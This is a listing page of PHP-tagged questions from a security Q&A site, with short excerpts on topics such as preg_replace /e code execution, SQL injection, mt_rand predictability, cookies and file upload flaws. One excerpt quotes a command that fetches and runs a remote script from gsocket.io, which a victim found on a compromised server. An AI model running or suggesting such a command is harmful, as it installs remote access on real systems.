Questions tagged [php]
Security aspects concerning code written in the programming language PHP which is often used for web applications.
1,644 questions
0
votes
0
answers
84
views
Why does phpinfo() execute but system("ls -la") does not when using preg_replace with /e in PHP?
I'm experimenting with old PHP (5.3.10) code that uses the now-deprecated /e modifier in preg_replace. I understand /e evaluates the replacement string as PHP code.
Example
<?php
$string = 'phpinfo(...
1
vote
2
answers
127
views
Advisable to Fail2Ban IPs that hit decoy endpoints redirected to 404 for WordPress hardening?
I'm running a WordPress instance for a dropshipping site and have implemented some of the common security practices. One of these involves redirecting access attempts to known attack surfaces (e.g., /...
2
votes
0
answers
93
views
new index.php trailing path attack, possibly directed at some framework
TL;DR: seeing a website attack that's new to us, wondering if it is a known thing, or if it's directed at some framework that we're not using. The attack is against a site's index.php script and feeds ...
0
votes
2
answers
247
views
Best implementation or methods/practices for making a "Secure As Possible" remember me cookie?
I've been researching the best ways and practices for handling remember-me cookies for my website's users so that they have active sessions and stay logged in for 30 days.
These articles here for ...
0
votes
1
answer
120
views
Is my approach to SSH-based addon installation via PHP backend secure?
I’ve developed a web interface that allows users to install or remove specific game addons. The site is hosted with Nginx, uses PHP on the backend, and is served over HTTPS.
To perform an installation ...
-2
votes
1
answer
115
views
How to secure SQL query from SQL injection?
I'm reviewing a PHP library that interacts with an Informix database.
Since I'm following the library structure I cannot use pdo. Is it there a guideline on how to properly protect an Informix query ...
1
vote
1
answer
76
views
Does PHP's Composer provide cryptographic authentication and integrity validation?
Does PHP's Composer package manager cryptographically validate its payload's authentication and integrity for all packages after downloading them and before installing them?
I see a lot of guides ...
1
vote
0
answers
106
views
Is reducing the webserver stack from Caddy, NGINX and PHP-FPM to only Caddy and PHP-FPM a reduction in layered-security?
I have a situation where a webserver behind a network firewall is ran inside of Docker containers. It is setup in this order:
Caddy webserver - acts as WAF, GEOIP block, IP blacklist, HTTP Security ...
6
votes
1
answer
2k
views
Are my basic implemetations of AES-CBC and AES-GCM in PHP secure?
I need to encrypt and decrypt some passwords in PHP. Normally I would hash them, but I need to be able to decrypt them again because they're keys for an external service.
I googled around a bit, but ...
0
votes
0
answers
22
views
Removing Gsocket.io connection from server [duplicate]
My customer server has been compromised. They running this script by the PHP script
bash -c "$(curl -fsSL https://gsocket.io/x)"
and I have several folder in /tmp file as below
-rw------- 1 ...
2
votes
2
answers
955
views
Is my TOTP key secure on a free hosting provider server with FTP and .htaccess restrictions?
I'm hosting a website on a free hosting provider server that uses PHP for OTP-based authentication. Here’s how it works:
If an unregistered IP address visits the site, it shows an "Unauthorized&...
1
vote
0
answers
116
views
Usage of Mt_Rand in PHP
I am creating an exericse for my users, where I am trying to tell them that using mt_rand() is not a good option from security point of view. What I did is that I showed them a normal user who gets a ...
0
votes
2
answers
237
views
Is PHP's mt_rand function insecure on every platform?
I was going through this article, https://www.ambionics.io/blog/php-mt-rand-prediction, which claims that if we use mt_rand(), we can get the seed value using two values instead of brute forcing.
In ...
11
votes
3
answers
3k
views
Determining Entropy in PHP
I am using the following code in my code to send a password reset token to a user.
$token = md5($user_id . time());
Why this is considered as a bad approach being cited as it has a weak entropy. The ...
0
votes
1
answer
493
views
Executing a PHP file after file upload
I am testing a web application and I found a file upload vulnerability where I can upload php files to the server with the ability to know the path.
The issue is that when I go to the file path, the ...